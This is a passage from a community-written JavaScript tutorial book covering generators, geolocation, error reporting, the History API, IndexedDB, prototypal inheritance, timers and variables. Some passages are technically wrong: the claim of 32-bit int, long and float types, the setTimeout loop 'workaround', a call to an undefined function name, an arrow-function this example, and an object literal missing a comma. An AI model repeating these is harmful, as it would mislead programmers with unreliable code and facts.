const formatText = compose(capitalize, sign);

formatText('this is an example') //This is an example, //made with love

N.B. Composition is achieved through a utility function usually called compose as in our example.

https://riptutorial.com/ 308 Implementation of compose are present in many JavaScript utility libraries (lodash, rambda, etc.) but you can also start out with a simple implementation such as:

6

const compose = (...funs) => x => funs.reduce((ac, f) => f(ac), x);

Read Functions online: https://riptutorial.com/javascript/topic/186/functions

https://riptutorial.com/ 309 Chapter 49: Generators

Introduction

Generator functions (defined by the function* keyword) run as coroutines, generating a series of values as they're requested through an iterator.

Syntax

• function* name(parameters) { yield value; return value } • generator = name(arguments) • { value, done } = generator.next(value) • { value, done } = generator.return(value) • generator.throw(error)

Remarks

Generator functions are a feature introduced as part of the ES 2015 specification and are not available in all browsers. They are also fully supported in Node.js as of v6.0. For a detailed browser compatibility list, see the MDN Documentation, and for Node, see the node.green website.

Examples

Generator Functions

A generator function is created with a function* declaration. When it is called, its body is not immediately executed. Instead, it returns a generator object, which can be used to "step through" the function's execution.

A yield expression inside the function body defines a point at which execution can suspend and resume.

function* nums() { console.log('starting'); // A yield 1; // B console.log('yielded 1'); // C yield 2; // D console.log('yielded 2'); // E yield 3; // F console.log('yielded 3'); // G } var generator = nums(); // Returns the iterator. No code in nums is executed

generator.next(); // Executes lines A,B returning { value: 1, done: false } // console: "starting" generator.next(); // Executes lines C,D returning { value: 2, done: false } https://riptutorial.com/ 310 // console: "yielded 1" generator.next(); // Executes lines E,F returning { value: 3, done: false } // console: "yielded 2" generator.next(); // Executes line G returning { value: undefined, done: true } // console: "yielded 3"

Early iteration exit

generator = nums(); generator.next(); // Executes lines A,B returning { value: 1, done: false } generator.next(); // Executes lines C,D returning { value: 2, done: false } generator.return(3); // no code is executed returns { value: 3, done: true } // any further calls will return done = true generator.next(); // no code executed returns { value: undefined, done: true }

Throwing an error to generator function

function* nums() { try { yield 1; // A yield 2; // B yield 3; // C } catch (e) { console.log(e.message); // D } }

var generator = nums();

generator.next(); // Executes line A returning { value: 1, done: false } generator.next(); // Executes line B returning { value: 2, done: false } generator.throw(new Error("Error!!")); // Executes line D returning { value: undefined, done: true} // console: "Error!!" generator.next(); // no code executed. returns { value: undefined, done: true }

Iteration

A generator is iterable. It can be looped over with a for...of statement, and used in other constructs which depend on the iteration protocol.

function* range(n) { for (let i = 0; i < n; ++i) { yield i; } }

// looping for (let n of range(10)) { // n takes on the values 0, 1, ... 9 }

// spread operator let nums = [...range(3)]; // [0, 1, 2] let max = Math.max(...range(100)); // 99 https://riptutorial.com/ 311 Here is another example of use generator to custom iterable object in ES6. Here anonymous generator function function * used.

let user = { name: "sam", totalReplies: 17, isBlocked: false };

user[Symbol.iterator] = function *(){

let properties = Object.keys(this); let count = 0; let isDone = false;

for(let p of properties){ yield this[p]; } };

for(let p of user){ console.log( p ); }

Sending Values to Generator

It is possible to send a value to the generator by passing it to the next() method.

function* summer() { let sum = 0, value; while (true) { // receive sent value value = yield; if (value === null) break;

// aggregate values sum += value; } return sum; } let generator = summer();

// proceed until the first "yield" expression, ignoring the "value" argument generator.next();

// from this point on, the generator aggregates values until we send "null" generator.next(1); generator.next(10); generator.next(100);

// close the generator and collect the result let sum = generator.next(null).value; // 111

Delegating to other Generator

From within a generator function, the control can be delegated to another generator function using yield*.

https://riptutorial.com/ 312 function* g1() { yield 2; yield 3; yield 4; }

function* g2() { yield 1; yield* g1(); yield 5; }

var it = g2();

console.log(it.next()); // 1 console.log(it.next()); // 2 console.log(it.next()); // 3 console.log(it.next()); // 4 console.log(it.next()); // 5 console.log(it.next()); // undefined

Iterator-Observer interface

A generator is a combination of two things - an Iterator and an Observer. Iterator

An iterator is something when invoked returns an iterable. An iterable is something you can iterate upon. From ES6/ES2015 onwards, all collections (Array, Map, Set, WeakMap, WeakSet) conform to the Iterable contract.

A generator(iterator) is a producer. In iteration the consumer PULLs the value from the producer.

Example:

function *gen() { yield 5; yield 6; } let a = gen();

Whenever you call a.next(), you're essentially pull-ing value from the Iterator and pause the execution at yield. The next time you call a.next(), the execution resumes from the previously paused state. Observer

A generator is also an observer using which you can send some values back into the generator.

function *gen() { document.write('
observer:', yield 1); } https://riptutorial.com/ 313 var a = gen(); var i = a.next(); while(!i.done) { document.write('
iterator:', i.value); i = a.next(100); }

Here you can see that yield 1 is used like an expression which evaluates to some value. The value it evaluates to is the value sent as an argument to the a.next function call.

So, for the first time i.value will be the first value yielded (1), and when continuing the iteration to the next state, we send a value back to the generator using a.next(100). Doing async with Generators

Generators are widely used with spawn (from taskJS or co) function, where the function takes in a generator and allows us to write asynchronous code in a synchronous fashion. This does NOT mean that async code is converted to sync code / executed synchronously. It means that we can write code that looks like sync but internally it is still async.

Sync is BLOCKING; Async is WAITING. Writing code that blocks is easy. When PULLing, value appears in the assignment position. When PUSHing, value appears in the argument position of the callback.

When you use iterators, you PULL the value from the producer. When you use callbacks, the producer PUSHes the value to the argument position of the callback.

var i = a.next() // PULL dosomething(..., v => {...}) // PUSH

Here, you pull the value from a.next() and in the second, v => {...} is the callback and a value is PUSHed into the argument position v of the callback function.

Using this pull-push mechanism, we can write async programming like this,

let delay = t => new Promise(r => setTimeout(r, t)); spawn(function*() { // wait for 100 ms and send 1 let x = yield delay(100).then(() => 1); console.log(x); // 1

// wait for 100 ms and send 2 let y = yield delay(100).then(() => 2); console.log(y); // 2 });

So, looking at the above code, we are writing async code that looks like it's blocking (the yield statements wait for 100ms and then continue execution), but it's actually waiting. The pause and resume property of generator allows us to do this amazing trick.

https://riptutorial.com/ 314 How does it work ?

The spawn function uses yield promise to PULL the promise state from the generator, waits till the promise is resolved, and PUSHes the resolved value back to the generator so it can consume it.

Use it now

So, with generators and spawn function, you can clean up all your async code in NodeJS to look and feel like it's synchronous. This will make debugging easy. Also the code will look neat.

This feature is coming to future versions of JavaScript - as async...await. But you can use them today in ES2015/ES6 using the spawn function defined in the libraries - taskjs, co, or bluebird

Async flow with generators

Generators are functions which are able to pause and then resume execution. This allows to emulate async functions using external libraries, mainly q or co. Basically it allows to write functions that wait for async results in order to go on:

function someAsyncResult() { return Promise.resolve('newValue') }

q.spawn(function * () { var result = yield someAsyncResult() console.log(result) // 'newValue' })

This allows to write async code as if it were synchronous. Moreover, try and catch work over several async blocks. If the promise is rejected, the error is caught by the next catch:

function asyncError() { return new Promise(function (resolve, reject) { setTimeout(function () { reject(new Error('Something went wrong')) }, 100) }) }

q.spawn(function * () { try { var result = yield asyncError() } catch (e) { console.error(e) // Something went wrong } })

Using co would work exactly the same but with co(function * (){...}) instead of q.spawn

Read Generators online: https://riptutorial.com/javascript/topic/282/generators

https://riptutorial.com/ 315 Chapter 50: Geolocation

Syntax

• navigator.geolocation.getCurrentPosition(successFunc, failureFunc) • navigator.geolocation.watchPosition(updateFunc, failureFunc) • navigator.geolocation.clearWatch(watchId)

Remarks

The Geolocation API does what you might expect: retrieve information about the client's whereabouts, represented in latitude and longitude. However, it is up to the user to agree to give away their location.

This API is defined in the W3C Geolocation API Specification. Features for obtaining civic addresses and to enable geofencing / triggering of events have been explored, but are not widely implemented.

To check if the browser supports the Geolocation API:

if(navigator.geolocation){ // Horray! Support! } else { // No support... }

Examples

Get a user's latitude and longitude

if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(geolocationSuccess, geolocationFailure); } else { console.log("Geolocation is not supported by this browser."); }

// Function that will be called if the query succeeds var geolocationSuccess = function(pos) { console.log("Your location is " + pos.coords.latitude + "°, " + pos.coords.longitude + "°."); };

// Function that will be called if the query fails var geolocationFailure = function(err) { console.log("ERROR (" + err.code + "): " + err.message); };

More descriptive error codes https://riptutorial.com/ 316 In the event that geolocation fails, your callback function will receive a PositionError object. The object will include an attribute named code that will have a value of 1, 2, or 3. Each of these numbers signifies a different kind of error; the getErrorCode() function below takes the PositionError.code as its only argument and returns a string with the name of the error that occurred.

var getErrorCode = function(err) { switch (err.code) { case err.PERMISSION_DENIED: return "PERMISSION_DENIED"; case err.POSITION_UNAVAILABLE: return "POSITION_UNAVAILABLE"; case err.TIMEOUT: return "TIMEOUT"; default: return "UNKNOWN_ERROR"; } };

It can be used in geolocationFailure() like so:

var geolocationFailure = function(err) { console.log("ERROR (" + getErrorCode(err) + "): " + err.message); };

Get updates when a user's location changes

You can also receive regular updates of the user's location; for example, as they move around while using a mobile device. Location tracking over time can be very sensitive, so be sure to explain to the user ahead of time why you're requesting this permission and how you'll use the data.

if (navigator.geolocation) { //after the user indicates that they want to turn on continuous location-tracking var watchId = navigator.geolocation.watchPosition(updateLocation, geolocationFailure); } else { console.log("Geolocation is not supported by this browser."); }

var updateLocation = function(position) { console.log("New position at: " + position.coords.latitude + ", " + position.coords.longitude); };

To turn off continuous updates:

navigator.geolocation.clearWatch(watchId);

Read Geolocation online: https://riptutorial.com/javascript/topic/269/geolocation

https://riptutorial.com/ 317 Chapter 51: Global error handling in browsers

Syntax

• window.onerror = function (eventOrMessage, url, lineNumber, colNumber, error) { ... }

Parameters

Parameter Details

Some browsers will call the event handler with just one argument, an eventOrMessage Event object. However, other browsers, especially the older ones and older mobile ones will supply a String message as a first argument.

If a handler is called with more than 1 argument, the second argument url usually is an URL of a JavaScript file that is the source of the problem.

If a handler is called with more than 1 argument, the third argument is a lineNumber line number inside the JavaScript source file.

If a handler is called with more than 1 argument, the fourth argument is colNumber the column number inside the JavaScript source file.

If a handler is called with more than 1 argument, the fifth argument is error sometimes an Error object describing the problem.

Remarks

Unfortunately, window.onerror has historically been implemented differently by each vendor. The information provided in the Parameters section is an approximation of what to expect across different browsers and their versions.

Examples

Handling window.onerror to report all errors back to the server-side

The following example listens to window.onerror event and uses an image beacon technique to send the information through the GET parameters of an URL.

var hasLoggedOnce = false;

// Some browsers (at least Firefox) don't report line and column numbers https://riptutorial.com/ 318 // when event is handled through window.addEventListener('error', fn). That's why // a more reliable approach is to set an event listener via direct assignment. window.onerror = function (eventOrMessage, url, lineNumber, colNumber, error) { if (hasLoggedOnce || !eventOrMessage) { // It does not make sense to report an error if: // 1. another one has already been reported -- the page has an invalid state and may produce way too many errors. // 2. the provided information does not make sense (!eventOrMessage -- the browser didn't supply information for some reason.) return; } hasLoggedOnce = true; if (typeof eventOrMessage !== 'string') { error = eventOrMessage.error; url = eventOrMessage.filename || eventOrMessage.fileName; lineNumber = eventOrMessage.lineno || eventOrMessage.lineNumber; colNumber = eventOrMessage.colno || eventOrMessage.columnNumber; eventOrMessage = eventOrMessage.message || eventOrMessage.name || error.message || error.name; } if (error && error.stack) { eventOrMessage = [eventOrMessage, '; Stack: ', error.stack, '.'].join(''); } var jsFile = (/[^/]+\.js/i.exec(url || '') || [])[0] || 'inlineScriptOrDynamicEvalCode', stack = [eventOrMessage, ' Occurred in ', jsFile, ':', lineNumber || '?', ':', colNumber || '?'].join('');

// shortening the message a bit so that it is more likely to fit into browser's URL length limit (which is 2,083 in some browsers) stack = stack.replace(/https?\:\/\/[^/]+/gi, ''); // calling the server-side handler which should probably register the error in a database or a log file new Image().src = '/exampleErrorReporting?stack=' + encodeURIComponent(stack);

// window.DEBUG_ENVIRONMENT a configurable property that may be set to true somewhere else for debugging and testing purposes. if (window.DEBUG_ENVIRONMENT) { alert('Client-side script failed: ' + stack); } }

Read Global error handling in browsers online: https://riptutorial.com/javascript/topic/2056/global- error-handling-in-browsers

https://riptutorial.com/ 319 Chapter 52: History

Syntax

• window.history.pushState(domain, title, path); • window.history.replaceState(domain, title, path);

Parameters

Parameter Details

domain The domain you want to update to

title The title to update to

path The path to update to

Remarks

The HTML5 History API is not implemented by all browsers and implementations tend to differ between browser vendors. It is currently supported by the following browsers:

• Firefox 4+ • Google Chrome • Internet Explorer 10+ • Safari 5+ • iOS 4

If you want to find out more about the History API implementations and methods, please refer to the state of the HTML5 History API.

Examples history.replaceState()

Syntax :

history.replaceState(data, title [, url ])

This method modifies the current history entry instead of creating a new one. Mainly used when we want to update URL of the current history entry.

window.history.replaceState("http://example.ca", "Sample Title", "/example/path.html");

https://riptutorial.com/ 320 This example replaces the current history, address bar, and page title.

Note this is different from the history.pushState(). Which inserts a new history entry, rather than replacing the current one. history.pushState()

Syntax :

history.pushState(state object, title, url)

This method allows to ADD histories entries. For more reference, Please have a look on this document : pushState() method

Example :

window.history.pushState("http://example.ca", "Sample Title", "/example/path.html");

This example inserts a new record into the history, address bar, and page title.

Note this is different from the history.replaceState(). Which updates the current history entry, rather than adding a new one.

Load a specific URL from the history list go() method

The go() method loads a specific URL from the history list. The parameter can either be a number which goes to the URL within the specific position (-1 goes back one page, 1 goes forward one page), or a string. The string must be a partial or full URL, and the function will go to the first URL that matches the string.

Syntax

history.go(number|URL)

Example

Click on the button to go back two pages:

https://riptutorial.com/ 321

Read History online: https://riptutorial.com/javascript/topic/312/history

https://riptutorial.com/ 322 Chapter 53: How to make iterator usable inside async callback function

Introduction

When using async callback we need to consider scope. Especially if inside a loop. This simple article shows what not to do and a simple working example.

Examples

Erroneous code, can you spot why this usage of key will lead to bugs?

var pipeline = {}; // (...) adding things in pipeline

for(var key in pipeline) { fs.stat(pipeline[key].path, function(err, stats) { if (err) { // clear that one delete pipeline[key]; return; } // (...) pipeline[key].count++; }); }

The problem is that there is only one instance of var key. All callbacks will share the same key instance. At the time the callback will fire, the key will most likely have been incremented and not pointing to the element we are receiving the stats for.

Correct Writing

var pipeline = {}; // (...) adding things in pipeline

var processOneFile = function(key) { fs.stat(pipeline[key].path, function(err, stats) { if (err) { // clear that one delete pipeline[key]; return; } // (...) pipeline[key].count++; }); };

// verify it is not growing for(var key in pipeline) { https://riptutorial.com/ 323 processOneFileInPipeline(key); }

By creating a new function, we are scoping key inside a function so all callback have their own key instance.

Read How to make iterator usable inside async callback function online: https://riptutorial.com/javascript/topic/8133/how-to-make-iterator-usable-inside-async-callback- function

https://riptutorial.com/ 324 Chapter 54: IndexedDB

Remarks

Transactions

Transactions need to be used immediately after they're created. If they aren't used in the current event loop (basically before we wait for anything like a web request) they'll go into an inactive state where you can't use them.

Databases can only have one transaction that writes to a particular object store at a time. So you can have as many as you want that read from our things store, but only one can make changes at any given time.

Examples

Testing for IndexedDB availability

You can test for IndexedDB support in the current environment by checking for the presence of the window.indexedDB property:

if (window.indexedDB) { // IndexedDB is available }

Opening a database

Opening a database is an asynchronous operation. We need to send a request to open our database and then listen for events so we know when it's ready.

We'll open a DemoDB database. If it doesn't exist yet, it will get created when we send the request.

The 2 below says that we're asking for version 2 of our database. Only one version exists at any time, but we can use the version number to upgrade old data, as you'll see.

var db = null, // We'll use this once we have our database request = window.indexedDB.open("DemoDB", 2);

// Listen for success. This will be called after onupgradeneeded runs, if it does at all request.onsuccess = function() { db = request.result; // We have a database!

doThingsWithDB(db); };

https://riptutorial.com/ 325 // If our database didn't exist before, or it was an older version than what we requested, // the `onupgradeneeded` event will be fired. // // We can use this to setup a new database and upgrade an old one with new data stores request.onupgradeneeded = function(event) { db = request.result;

// If the oldVersion is less than 1, then the database didn't exist. Let's set it up if (event.oldVersion < 1) { // We'll create a new "things" store with `autoIncrement`ing keys var store = db.createObjectStore("things", { autoIncrement: true }); }

// In version 2 of our database, we added a new index by the name of each thing if (event.oldVersion < 2) { // Let's load the things store and create an index var store = request.transaction.objectStore("things");

store.createIndex("by_name", "name"); } };

// Handle any errors request.onerror = function() { console.error("Something went wrong when we tried to request the database!"); };

Adding objects

Anything that needs to happen with data in an IndexedDB database happens in a transaction. There are a few things to note about transactions that are mentioned in the Remarks section at the bottom of this page.

We'll use the database we set up in Opening a database.

// Create a new readwrite (since we want to change things) transaction for the things store var transaction = db.transaction(["things"], "readwrite");

// Transactions use events, just like database open requests. Let's listen for success transaction.oncomplete = function() { console.log("All done!"); };

// And make sure we handle errors transaction.onerror = function() { console.log("Something went wrong with our transaction: ", transaction.error); };

// Now that our event handlers are set up, let's get our things store and add some objects! var store = transaction.objectStore("things");

// Transactions can do a few things at a time. Let's start with a simple insertion var request = store.add({ // "things" uses auto-incrementing keys, so we don't need one, but we can set it anyway key: "coffee_cup", name: "Coffee Cup", contents: ["coffee", "cream"] https://riptutorial.com/ 326 });

// Let's listen so we can see if everything went well request.onsuccess = function(event) { // Done! Here, `request.result` will be the object's key, "coffee_cup" };

// We can also add a bunch of things from an array. We'll use auto-generated keys var thingsToAdd = [{ name: "Example object" }, { value: "I don't have a name" }];

// Let's use more compact code this time and ignore the results of our insertions thingsToAdd.forEach(e => store.add(e));

Retrieving data

Anything that needs to happen with data in an IndexedDB database happens in a transaction. There are a few things to note about transactions that are mentioned in the Remarks section at the bottom of this page.

We'll use the database we set up in Opening a database.

// Create a new transaction, we'll use the default "readonly" mode and the things store var transaction = db.transaction(["things"]);

// Transactions use events, just like database open requests. Let's listen for success transaction.oncomplete = function() { console.log("All done!"); };

// And make sure we handle errors transaction.onerror = function() { console.log("Something went wrong with our transaction: ", transaction.error); };

// Now that everything is set up, let's get our things store and load some objects! var store = transaction.objectStore("things");

// We'll load the coffee_cup object we added in Adding objects var request = store.get("coffee_cup");

// Let's listen so we can see if everything went well request.onsuccess = function(event) { // All done, let's log our object to the console console.log(request.result); };

// That was pretty long for a basic retrieval. If we just want to get just // the one object and don't care about errors, we can shorten things a lot db.transaction("things").objectStore("things") .get("coffee_cup").onsuccess = e => console.log(e.target.result);

Read IndexedDB online: https://riptutorial.com/javascript/topic/4447/indexeddb

https://riptutorial.com/ 327 Chapter 55: Inheritance

Examples

Standard function prototype

Start by defining a Foo function that we'll use as a constructor.

function Foo (){}

By editing Foo.prototype, we can define properties and methods that will be shared by all instances of Foo.

Foo.prototype.bar = function() { return 'I am bar'; };

We can then create an instance using the new keyword, and call the method.

var foo = new Foo();

console.log(foo.bar()); // logs `I am bar`

Difference between Object.key and Object.prototype.key

Unlike in languages like Python, static properties of the constructor function are not inherited to instances. Instances only inherit from their prototype, which inherits from the parent type's prototype. Static properties are never inherited.

function Foo() {}; Foo.style = 'bold';

var foo = new Foo();

console.log(Foo.style); // 'bold' console.log(foo.style); // undefined

Foo.prototype.style = 'italic';

console.log(Foo.style); // 'bold' console.log(foo.style); // 'italic'

New object from prototype

In JavaScript, any object can be the prototype of another. When an object is created as a prototype of another, it will inherit all of its parent's properties.

var proto = { foo: "foo", bar: () => this.foo }; https://riptutorial.com/ 328

var obj = Object.create(proto);

console.log(obj.foo); console.log(obj.bar());

Console output:

> "foo" > "foo"

NOTE Object.create is available from ECMAScript 5, but here's a polyfill if you need support for ECMAScript 3

if (typeof Object.create !== 'function') { Object.create = function (o) { function F() {} F.prototype = o; return new F(); }; }

Source: http://javascript.crockford.com/prototypal.html

Object.create()

The Object.create() method creates a new object with the specified prototype object and properties.

Syntax: Object.create(proto[, propertiesObject])

Parameters:

• proto (The object which should be the prototype of the newly-created object.) • propertiesObject (Optional. If specified and not undefined, an object whose enumerable own properties (that is, those properties defined upon itself and not enumerable properties along its prototype chain) specify property descriptors to be added to the newly-created object, with the corresponding property names. These properties correspond to the second argument of Object.defineProperties().)

Return value

A new object with the specified prototype object and properties.

Exceptions

A TypeError exception if the proto parameter isn't null or an object.

Prototypal inheritance

https://riptutorial.com/ 329 Suppose we have a plain object called prototype:

var prototype = { foo: 'foo', bar: function () { return this.foo; } };

Now we want another object called obj that inherits from prototype, which is the same as saying that prototype is the prototype of obj

var obj = Object.create(prototype);

Now all the properties and methods from prototype will be available to obj

console.log(obj.foo); console.log(obj.bar());

Console output

"foo" "foo"

Prototypal inheritance is made through object references internally and objects are completely mutable. This means any change you make on a prototype will immediately affect every other object that prototype is prototype of.

prototype.foo = "bar"; console.log(obj.foo);

Console output

"bar"

Object.prototype is the prototype of every object, so it's strongly recommended you don't mess with it, specially if you use any third party library, but we can play with it a little bit.

Object.prototype.breakingLibraries = 'foo'; console.log(obj.breakingLibraries); console.log(prototype.breakingLibraries);

Console output

"foo" "foo"

Fun fact I've used the browser console to make these examples and broken this page by adding that breakingLibraries property.

https://riptutorial.com/ 330 Pseudo-classical inheritance

It's an emulation of classical inheritance using prototypical inheritance which shows how powerful prototypes are. It was made to make the language more attractive to programmers coming from other languages.

6

IMPORTANT NOTE: Since ES6 it doesn't make sense to use pseudo-calssical inheritance since the language simulates conventional classes. If you're not using ES6, you should. If you still want to use the classical inheritance pattern and you're in a ECMAScript 5 or lower environment, then pseudo-classical is your best bet.

A "class" is just a function that is made to be called with the new operand and it's used as a constructor.

function Foo(id, name) { this.id = id; this.name = name; }

var foo = new Foo(1, 'foo'); console.log(foo.id);

Console output

1 foo is an instance of Foo.The JavaScript coding convention says if a function begins with a capital letter case it can be called as a constructor (with the new operand).

To add properties or methods to the "class" you have to add them to it's prototype, which can be found in the prototype property of the constructor.

Foo.prototype.bar = 'bar'; console.log(foo.bar);

Console output

bar

In fact what Foo is doing as a "constructor" is just creating objects with Foo.prototype as it's prototype.

You can find a reference to its constructor on every object

console.log(foo.constructor);

https://riptutorial.com/ 331 function Foo(id, name) { ...

console.log({ }.constructor);

function Object() { [native code] }

And also check if an object is an instance of a given class with the instanceof operator

console.log(foo instanceof Foo);

true

console.log(foo instaceof Object);

true

Setting an Object's prototype

5

With ES5+, the Object.create function can be used to create an Object with any other Object as it's prototype.

const anyObj = { hello() { console.log(`this.foo is ${this.foo}`); }, };

let objWithProto = Object.create(anyObj); objWithProto.foo = 'bar';

objWithProto.hello(); // "this.foo is bar"

To explicitly create an Object without a prototype, use null as the prototype. This means the Object will not inherit from Object.prototype either and is useful for Objects used for existence checking dictionaries, e.g.

let objInheritingObject = {}; let objInheritingNull = Object.create(null);

'toString' in objInheritingObject; // true 'toString' in objInheritingNull ; // false

6

From ES6, the prototype of an existing Object can be changed using Object.setPrototypeOf, for example

let obj = Object.create({foo: 'foo'}); obj = Object.setPrototypeOf(obj, {bar: 'bar'}); https://riptutorial.com/ 332

obj.foo; // undefined obj.bar; // "bar"

This can be done almost anywhere, including on a this object or in a constructor.

Note: This process is very slow in current browsers and should be used sparingly, try to create the Object with the desired prototype instead.

5

Before ES5, the only way to create an Object with a manually defined prototype was to construct it with new, for example

var proto = {fizz: 'buzz'};

function ConstructMyObj() {} ConstructMyObj.prototype = proto;

var objWithProto = new ConstructMyObj(); objWithProto.fizz; // "buzz"

This behaviour is close enough to Object.create that it is possible to write a polyfill.

Read Inheritance online: https://riptutorial.com/javascript/topic/592/inheritance

https://riptutorial.com/ 333 Chapter 56: Intervals and Timeouts

Syntax

• timeoutID = setTimeout(function() {}, milliseconds) • intervalID = setInterval(function() {}, milliseconds) • timeoutID = setTimeout(function() {}, milliseconds, parameter, parameter, ...) • intervalID = setInterval(function() {}, milliseconds, parameter, parameter, ...) • clearTimeout(timeoutID) • clearInterval(intervalID)

Remarks

If the delay is not specified, it defaults to 0 milliseconds. However, the actual delay will be longer than that; for example, the HTML5 spec specifies a minimum delay of 4 milliseconds.

Even when setTimeout is called with a delay of zero, the function that is called by setTimeout will be executed asynchronously.

Note that many operations like DOM manipulation are not necessarily completed even if you've made the operation and moved on to the next code sentence, so you shouldn't assume they will run synchronously.

Using setTimeout(someFunc, 0) enqueues the execution of the someFunc function at the end of the current JavaScript engine's call stack, so the function will be called after those operations completed.

It is possible to pass a string containing JavaScript code (setTimeout("some..code", 1000)) in place of the function (setTimeout(function(){some..code}, 1000)). If the code is placed in a string, it will be later parsed using eval(). String-style timeouts are not recommended for performance, clarity and sometimes security reasons, but you may see older code which uses this style. Passing functions has been supported since Netscape Navigator 4.0 and Internet Explorer 5.0.

Examples

Intervals

function waitFunc(){ console.log("This will be logged every 5 seconds"); }

window.setInterval(waitFunc,5000);

Removing intervals window.setInterval() https://riptutorial.com/ 334 returns an IntervalID, which can be used to stop that interval from continuing to run. To do this, store the return value of window.setInterval() in a variable and call clearInterval() with that variable as the only argument:

function waitFunc(){ console.log("This will be logged every 5 seconds"); }

var interval = window.setInterval(waitFunc,5000);

window.setTimeout(function(){ clearInterval(interval); },32000);

This will log This will be logged every 5 seconds every 5 seconds, but will stop it after 32 seconds. So it will log the message 6 times.

Removing timeouts window.setTimout() returns a TimeoutID, which can be used to stop that timeout from running. To do this, store the return value of window.setTimeout() in a variable and call clearTimeout() with that variable as the only argument:

function waitFunc(){ console.log("This will not be logged after 5 seconds"); } function stopFunc(){ clearTimeout(timeout); }

var timeout = window.setTimeout(waitFunc,5000); window.setTimeout(stopFunc,3000);

This will not log the message because the timer is stopped after 3 seconds.

Recursive setTimeout

To repeat a function indefinitely, setTimeout can be called recursively:

function repeatingFunc() { console.log("It's been 5 seconds. Execute the function again."); setTimeout(repeatingFunc, 5000); }

setTimeout(repeatingFunc, 5000);

Unlike setInterval, this ensures that the function will execute even if the function's running time is longer than the specified delay. However, it does not guarantee a regular interval between function executions. This behaviour also varies because an exception before the recursive call to setTimeout will prevent it from repeating again, while setInterval would repeat indefinitely regardless of exceptions.

https://riptutorial.com/ 335 setTimeout, order of operations, clearTimeout setTimeout

• Executes a function, after waiting a specified number of milliseconds. • used to delay the execution of a function.

Syntax : setTimeout(function, milliseconds) or window.setTimeout(function, milliseconds)

Example : This example outputs "hello" to the console after 1 second. The second parameter is in milliseconds, so 1000 = 1 sec, 250 = 0.25 sec, etc.

setTimeout(function() { console.log('hello'); }, 1000);

Problems with setTimeout if you're using the setTimeout method in a for loop :

for (i = 0; i < 3; ++i) { setTimeout(function(){ console.log(i); }, 500); }

This will output the value 3 three times, which is not correct.

Workaround of this problem :

for (i = 0; i < 3; ++i) { setTimeout(function(j){ console.log(i); }(i), 1000); }

It will output the value 0,1,2. Here, we’re passing the i into the function as a parameter(j).

Order of operations

Additionally though, due to the fact that Javascript is single threaded and uses a global event loop, setTimeout can be used to add an item to the end of the execution queue by calling setTimeout with zero delay. For example:

setTimeout(function() { console.log('world'); }, 0);

console.log('hello'); https://riptutorial.com/ 336 Will actually output:

hello world

Also, zero milliseconds here does not mean the function inside the setTimeout will execute immediately. It will take slightly more than that depending upon the items to be executed remaining in the execution queue. This one is just pushed to the end of the queue.

Cancelling a timeout clearTimeout() : stops the execution of the function specified in setTimeout()

Syntax : clearTimeout(timeoutVariable) or window.clearTimeout(timeoutVariable)

Example :

var timeout = setTimeout(function() { console.log('hello'); }, 1000);

clearTimeout(timeout); // The timeout will no longer be executed

Intervals

Standard

You don't need to create the variable, but it's a good practice as you can use that variable with clearInterval to stop the currently running interval.

var int = setInterval("doSomething()", 5000 ); /* 5 seconds */ var int = setInterval(doSomething, 5000 ); /* same thing, no quotes, no parens */

If you need to pass parameters to the doSomething function, you can pass them as additional parameters beyond the first two to setInterval.

Without overlapping setInterval, as above, will run every 5 seconds (or whatever you set it to) no matter what. Even if the function doSomething takes long than 5 seconds to run. That can create issues. If you just want to make sure there is that pause in between runnings of doSomething, you can do this:

(function(){

doSomething();

setTimeout(arguments.callee, 5000);

})()

https://riptutorial.com/ 337 Read Intervals and Timeouts online: https://riptutorial.com/javascript/topic/279/intervals-and- timeouts

https://riptutorial.com/ 338 Chapter 57: JavaScript Variables

Introduction

Variables are what make up most of JavaScript. These variables make up things from numbers to objects, which are all over JavaScript to make one's life much easier.

Syntax

• var {variable_name} [= {value}];

Parameters

variable_name {Required} The name of the variable: used when calling it.

= [Optional] Assignment (defining the variable)

{Required when using Assignment} The value of a variable [default: value undefined]

Remarks

"use strict";

'use strict';

Strict Mode makes JavaScript stricter to assure you the best habits. For example, assigning a variable:

"use strict"; // or 'use strict'; var syntax101 = "var is used when assigning a variable."; uhOh = "This is an error!"; uhOh is supposed to be defined using var. Strict Mode, being on, shows an error (in the Console, it doesn't care). Use this to generate good habits on defining variables.

You may use Nested Arrays and Objects some time. They are sometimes useful, and they're also fun to work with. Here is how they work:

Nested Arrays https://riptutorial.com/ 339 var myArray = [ "The following is an array", ["I'm an array"] ];

console.log(myArray[1]); // (1) ["I'm an array"] console.log(myArray[1][0]); // "I'm an array"

var myGraph = [ [0, 0], [5, 10], [3, 12] ]; // useful nested array

console.log(myGraph[0]); // [0, 0] console.log(myGraph[1][1]); // 10

Nested Objects

var myObject = { firstObject: { myVariable: "This is the first object" } secondObject: { myVariable: "This is the second object" } }

console.log(myObject.firstObject.myVariable); // This is the first object. console.log(myObject.secondObject); // myVariable: "This is the second object"

var people = { john: { name: { first: "John", last: "Doe", full: "John Doe" }, knownFor: "placeholder names" }, bill: { name: { first: "Bill", last: "Gates", full: "Bill Gates" }, knownFor: "wealth" } }

https://riptutorial.com/ 340 console.log(people.john.name.first); // John console.log(people.john.name.full); // John Doe console.log(people.bill.knownFor); // wealth console.log(people.bill.name.last); // Gates console.log(people.bill.name.full); // Bill Gates

Examples

Defining a Variable

var myVariable = "This is a variable!";

This is an example of defining variables. This variable is called a "string" because it has ASCII characters (A-Z, 0-9, !@#$, etc.)

Using a Variable

var number1 = 5; number1 = 3;

Here, we defined a number called "number1" which was equal to 5. However, on the second line, we changed the value to 3. To show the value of a variable, we log it to the console or use window.alert():

console.log(number1); // 3 window.alert(number1); // 3

To add, subtract, multiply, divide, etc., we do like so:

number1 = number1 + 5; // 3 + 5 = 8 number1 = number1 - 6; // 8 - 6 = 2 var number2 = number1 * 10; // 2 (times) 10 = 20 var number3 = number2 / number1; // 20 (divided by) 2 = 10;

We can also add strings which will concatenate them, or put them together. For example:

var myString = "I am a " + "string!"; // "I am a string!"

Types of Variables

var myInteger = 12; // 32-bit number (from -2,147,483,648 to 2,147,483,647) var myLong = 9310141419482; // 64-bit number (from -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807) var myFloat = 5.5; // 32-bit floating-point number (decimal) var myDouble = 9310141419482.22; // 64-bit floating-point number

var myBoolean = true; // 1-bit true/false (0 or 1) var myBoolean2 = false; https://riptutorial.com/ 341

var myNotANumber = NaN; var NaN_Example = 0/0; // NaN: Division by Zero is not possible

var notDefined; // undefined: we didn't define it to anything yet window.alert(aRandomVariable); // undefined

